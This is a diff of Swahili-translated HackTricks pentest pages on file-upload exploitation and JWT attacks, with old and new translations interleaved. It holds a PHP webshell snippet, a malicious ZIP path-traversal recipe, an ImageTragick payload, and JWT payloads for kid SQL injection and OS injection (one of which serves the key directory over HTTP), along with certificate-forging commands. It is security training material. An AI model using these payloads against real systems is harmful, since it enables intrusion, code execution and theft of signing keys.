* Jaribu **mizigo tofauti ya svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ikiwa unaweza **kuashiria seva ya wavuti kuchukua picha kutoka kwa URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itakuwa **imehifadhiwa** kwenye tovuti fulani ya **umma**, unaweza pia kuashiria URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba habari ya kila mtembeleaji**.
* [**XXE na CORS** kudanganya na kupakia PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDF zilizoundwa kwa ustadi kwa XSS: Ukurasa ufuatao unaonyesha jinsi ya **kuingiza data ya PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDF unaweza kuandaa PDF kadhaa ambazo zitatekeleza JS arbitrali kufuata maelekezo yaliyotolewa.
* Pakia yaliyomo ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuchunguza ikiwa seva ina **antivirus** yoyote
* Angalia ikiwa kuna **kikomo cha ukubwa** wakati wa kupakia faili
* Angalia ikiwa kuna kikomo cha **ukubwa** wakati wa kupakia faili
Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -205,9 +205,9 @@ Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufanikisha kwa kupakia (kutoka [h
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Uelekezaji wazi
8. **PNG / JPEG**: Shambulio la mafuriko ya pikseli (DoS)
9. **ZIP**: RCE kupitia LFI / DoS
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Kifaa cha Burp
@ -223,7 +223,7 @@ Rejea [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wiki
### Kupakia Faili ya Zip/Tar Kiotomatiki Kufunguliwa
Ikiwa unaweza kupakia ZIP ambayo itafunguliwa kiotomatiki kwenye seva, unaweza kufanya mambo 2:
Ikiwa unaweza kupakia ZIP ambayo itafunguliwa kiotomatiki ndani ya seva, unaweza kufanya mambo 2:
#### Kiungo cha Simulizi
@ -235,16 +235,16 @@ tar -cvf test.tar symindex.txt
```
### Kufungua katika folda tofauti
Uumbaji usiotarajiwa wa faili katika folda wakati wa kufungua ni suala kubwa. Licha ya dhana za awali kwamba usanidi huu unaweza kulinda dhidi ya utekelezaji wa amri kwenye OS kupitia kupakia faili zenye nia mbaya, msaada wa ujazo wa hiraki na uwezo wa kuvuka folda wa muundo wa faili za ZIP unaweza kutumiwa vibaya. Hii inaruhusu wachomaji kukiuka vizuizi na kutoroka kutoka kwa folda salama za kupakia kwa kubadilisha utendaji wa kufungua wa programu iliyolengwa.
Uumbaji usiotarajiwa wa faili katika saraka wakati wa kufungua ni suala kubwa. Licha ya dhana za awali kwamba usanidi huu unaweza kulinda dhidi ya utekelezaji wa amri kwenye OS kupitia kupakia faili zenye nia mbaya, msaada wa ujazo wa hiraki na uwezo wa kuvuka saraka wa muundo wa faili za ZIP unaweza kutumiwa vibaya. Hii inaruhusu wachomaji kukiuka vizuizi na kutoroka kutoka kwa saraka salama za kupakia kwa kubadilisha utendaji wa kufungua wa programu iliyolengwa.
Exploit iliyotengenezwa kiotomatiki kwa kufanya faili kama hizo ipo kwenye [**evilarc kwenye GitHub**](https://github.com/ptoomey3/evilarc). Zana hiyo inaweza kutumika kama inavyoonyeshwa:
Shambulio lililoandaliwa kiotomatiki la kutengeneza faili kama hizo linapatikana kwenye [**evilarc kwenye GitHub**](https://github.com/ptoomey3/evilarc). Zana hiyo inaweza kutumika kama inavyoonyeshwa:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **mzaha wa symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama vile `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haina kukutana na makosa wakati wa operesheni yake.
Zaidi ya hayo, **mzaha wa symlink na evilarc** ni chaguo lingine. Ikiwa lengo ni kulenga faili kama vile `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haina makosa wakati wa operesheni yake.
Hapa chini ni mfano wa nambari ya Python inayotumika kuunda faili ya zip yenye nia mbaya:
```python
@ -277,13 +277,13 @@ $cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **Kunyunyizia Faili na Uundaji wa Faili Iliyosongeshwa**: Faili nyingi huzalishwa na kiwango cha zip kinaundwa kikiwa na faili hizi.
2. **Kunyunyizia Faili na Uundaji wa Faili iliyosongeshwa**: Faili nyingi hujengwa na kiwango cha zip kinaundwa kikiwa na faili hizi.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Ubadilishaji kwa Mhariri wa Hex au vi**: Majina ya faili ndani ya zip hubadilishwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" kwa kuvuka mipangilio.
3. **Ubadilishaji na Mhariri wa Hex au vi**: Majina ya faili ndani ya zip hubadilishwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" kuvuka saraka.
```bash
:set modifiable
@ -293,7 +293,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Pakia maudhui haya na kifaa cha picha ili kutumia udhaifu **(ImageMagick, 7.0.1-1)** (kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
Pakia yaliyomo haya na kifaa cha picha ili kutumia udhaifu **(ImageMagick, 7.0.1-1)** (kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -302,21 +302,21 @@ pop graphic-context
```
## Kuingiza PHP Shell kwenye PNG
Kuingiza PHP shell katika kipande cha IDAT cha faili ya PNG inaweza kufanikiwa kuepuka baadhi ya operesheni za usindikaji wa picha. Vipengele `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani mara nyingi hutumika kwa kurekebisha na kuchora upya picha. Uwezo wa PHP shell iliyokita ndani kubaki bila kuharibiwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Kuingiza PHP shell katika kipande cha IDAT cha faili ya PNG inaweza kufanikiwa kuepuka baadhi ya operesheni za usindikaji wa picha. Vipengele `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani mara nyingi hutumika kwa kurekebisha na kurejesha upya picha. Uwezo wa PHP shell iliyomo kubaki bila kuharibiwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu yake na matumizi yanayowezekana, umeelezwa katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa uelewa kamili wa mchakato na matokeo yake.
Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Faili za Polyglot
Faili za polyglot hufanya kama chombo cha kipekee katika usalama wa mtandao, zikifanya kama kama kameleoni ambazo zinaweza kuwepo kihalali katika muundo wa faili zaidi ya moja kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), ambayo ni mchanganyiko wa GIF na kumbukumbu ya RAR. Faili kama hizi haziko tu kwenye mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia ni wa kufikirika.
Faili za Polyglot hufanya kama chombo cha kipekee katika usalama wa mtandao, zikifanya kama kama kameleoni ambazo zinaweza kuwepo kihalali katika muundo wa faili zaidi ya moja kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), ambayo ni mchanganyiko wa GIF na kumbukumbu ya RAR. Faili kama hizi haziko tu katika mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia ni wa kufikirika.
Umuhimu wa msingi wa faili za polyglot uko katika uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kulingana na aina. Mazoea ya kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kwa kupakia - kama JPEG, GIF, au DOC - ili kupunguza hatari inayosababishwa na muundo wa faili zenye madhara (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kufuata vigezo vya muundo wa aina mbalimbali za faili, inaweza kwa siri kuzunguka vizuizi hivi.
Umuhimu wa msingi wa faili za Polyglot uko katika uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kulingana na aina. Mazoea ya kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kwa kupakia - kama JPEG, GIF, au DOC - ili kupunguza hatari inayosababishwa na muundo wa faili zenye madhara (k.m., JS, PHP, au faili za Phar). Hata hivyo, Polyglot, kwa kufuata vigezo vya muundo wa aina mbalimbali za faili, inaweza kwa siri kuzidi vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kwa wakati mmoja kuwa faili ya PHAR (PHp ARchive) na JPEG, mafanikio ya kupakia kwake yanaweza kutegemea sera za nyongeza za faili za jukwaa. Ikiwa mfumo unazingatia kwa makini nyongeza zinazoruhusiwa, uhalisia wa kimaundo wa polyglot pekee huenda usitoshe kuhakikisha kupakia kwake.
Licha ya uwezo wao wa kubadilika, faili za Polyglot hukutana na vikwazo. Kwa mfano, wakati Polyglot inaweza kuwa na muundo wa faili wa PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za nyongeza za faili za jukwaa. Ikiwa mfumo unazingatia kwa makini nyongeza zinazoruhusiwa, uhalisia wa kimaumbile wa Polyglot pekee hauwezi kutosha kuhakikisha kupakia kwake.
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## Marejeo
@ -327,7 +327,7 @@ Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunatoa ajira!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
@ -341,7 +341,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,14 +14,14 @@ Njia nyingine za kusaidia HackTricks:
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
**Sehemu ya chapisho hili imetokana na chapisho zuri:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Mwandishi wa zana kuu ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**Sehemu ya chapisho hili inategemea chapisho kubwa:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Mwandishi wa zana kubwa ya pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Mafanikio ya Haraka**
@ -49,20 +49,20 @@ Ili kuthibitisha ikiwa saini ya JWT inathibitishwa:
* Ujumbe wa hitilafu unapendekeza uthibitisho unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa.
* Mabadiliko kwenye ukurasa uliorejeshwa pia inaonyesha uthibitisho.
* Hakuna mabadiliko inaonyesha hakuna uthibitisho; hii ni wakati wa kujaribu kuhariri madai ya mzigo.
* Hakuna mabadiliko yanapendekeza hakuna uthibitisho; hii ni wakati wa kujaribu kuhariri madai ya mzigo.
### Asili
Ni muhimu kujua ikiwa token uliundwa upande wa server au upande wa mteja kwa kuchunguza historia ya ombi la proksi.
* Vitambulisho vilivyoonekana kwanza upande wa mteja vinapendekeza kuwa funguo inaweza kuwa imefunuliwa kwa nambari ya upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
* Vitambulisho vinavyoanzia upande wa server inaonyesha mchakato salama.
* Vitambulisho vilivyoonekana kwanza upande wa mteja vinapendekeza kwamba ufunguo unaweza kuwa umefichuliwa kwa nambari upande wa mteja, hivyo kuhitaji uchunguzi zaidi.
* Vitambulisho vinavyoanzia upande wa server vinathibitisha mchakato salama.
### Muda
Angalia ikiwa token inadumu zaidi ya masaa 24... labda haitamaliziki. Ikiwa kuna uga wa "exp", hakikisha server inashughulikia kwa usahihi.
Angalia ikiwa token inadumu zaidi ya masaa 24... labda haitamaliziki. Ikiwa kuna uwanja wa "exp", hakikisha server inashughulikia kwa usahihi.
### Kuvunja nguvu siri ya HMAC
### Kuvunja siri ya HMAC kwa nguvu
[**Angalia ukurasa huu.**](../generic-methodologies-and-resources/brute-force.md#jwt)
@ -74,12 +74,12 @@ Tumia kifaa cha Burp kinachoitwa "JSON Web Token" kujaribu udhaifu huu na kubadi
### Badilisha algorithm kutoka RS256(asymmetric) kwenda HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Algorithm HS256 hutumia funguo ya siri kusaini na kuthibitisha kila ujumbe.\
Algorithm RS256 hutumia funguo ya faragha kusaini ujumbe na hutumia funguo ya umma kwa uthibitisho.
Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.\
Algorithm RS256 hutumia ufunguo wa kibinafsi kusaini ujumbe na hutumia ufunguo wa umma kwa uthibitisho.
Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma utatumia funguo ya umma kama funguo la siri na kisha kutumia algorithm ya HS256 kuthibitisha saini.
Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma utatumia ufunguo wa umma kama ufunguo wa siri na kisha kutumia algorithm ya HS256 kuthibitisha saini.
Kisha, kwa kutumia funguo ya umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti inayotekeleza hii:
Kisha, kwa kutumia ufunguo wa umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti inayotekeleza hii:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -88,7 +88,8 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva hutumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).
Hii inaweza kufanywa kwa kutumia kifaa cha "JSON Web Tokens" katika Burp. (Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
Hii inaweza kufanywa na kifaa cha "JSON Web Tokens" cha Burp.\
(Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
### JWKS Uigaji
@ -98,8 +99,8 @@ Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa wale w
* Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS.
* Badilisha thamani ya "jku" ya token kuongoza kuelekea huduma ya wavuti iliyodhibitiwa, kuruhusu uchunguzi wa trafiki.
* **Kufuatilia Mwingiliano wa HTTP**:
* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kunasa funguo kutoka kwenye kiungo uliyotoa.
* Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS kufanikisha majaribio.
* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kupata funguo kutoka kwenye kiungo uliyotoa.
* Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio.
* **Amri kwa `jwt_tool`**:
* Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`:
@ -109,15 +110,15 @@ python3 jwt_tool.py JWT_HAPA -X s
### Muhtasari wa Matatizo ya Kid
Dai la kichwa linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo nyingi kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kuthibitisha saini ya token.
Dai la kichwa linaloweza kutambulika linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo nyingi kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kwa kuthibitisha saini ya token.
#### Kufichua Funguo kupitia "kid"
#### Kufunua Funguo kupitia "kid"
Wakati dai la `kid` linapoonekana katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti.
Wakati dai la `kid` linapokuwepo katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti.
#### Kuvuka Njia na "kid"
#### Uvukuzi wa Njia na "kid"
Dai la `kid` linaweza pia kutumiwa kufikia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganishaji au kutekeleza mashambulizi ya Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kulenga faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya awali inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini:
Dai la `kid` linaweza pia kutumiwa kwa kusafiri kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganisho au kutekeleza mashambulizi ya Udukuzi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kuelekea faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya awali inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -125,7 +126,7 @@ Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT h
#### SQL Injection kupitia "kid"
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kusaini JWT ni pamoja na:
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -133,7 +134,7 @@ Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKE
#### OS Injection kupitia "kid"
Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano wa kufikia RCE na kufichua funguo ni:
Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano kwa ajili ya kufikia RCE na kufichua funguo ni:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -150,7 +151,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti sahihi cha jku unaweza kupakua kile cha awali na kubadilisha parameta zinazohitajika.
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti cha jku halali unaweza kupakua kimoja cha asili na kubadilisha parameta zinazohitajika.
Unaweza kupata parameta "e" na "n" kutoka kwa cheti cha umma kwa kutumia:
```bash
@ -163,16 +164,16 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa fomu ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vya kufuatia kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa fomu ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vifuatavyo kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote limepokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**.
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote linapokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**.
Ili kufanya alama mpya kwa kutumia cheti lililodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.**
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na za kibinafsi zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.**
![](<../.gitbook/assets/image (439).png>)
@ -184,14 +185,14 @@ Parameter huu unaweza kuwa na **cheti katika base64**:
![](<../.gitbook/assets/image (440).png>)
Ikiwa mshambuliaji **anaunda cheti cha kujisaini** na kuunda token bandia kwa kutumia funguo ya binafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa kwa mara ya kwanza na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na server.
Ikiwa mshambuliaji **anaunda cheti cha kujisaini** na kuunda token bandia kwa kutumia funguo ya kibinafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa kwa mara ya kwanza na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na seva.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Funguo ya Umma iliyowekwa (CVE-2018-0114)
Ikiwa JWT ina funguo ya umma iliyowekwa kama katika hali ifuatayo:
Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo:
![](<../.gitbook/assets/image (438).png>)
@ -205,7 +206,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Inawezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuweka ufunguo wa umma mpya ndani ya token na kutumia kuzalisha saini mpya:
Inawezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuweka ufunguo wa umma mpya ndani ya token na kutumia kui kuzalisha saini mpya:
```bash
openssl genrsa -out keypair.pem 2048
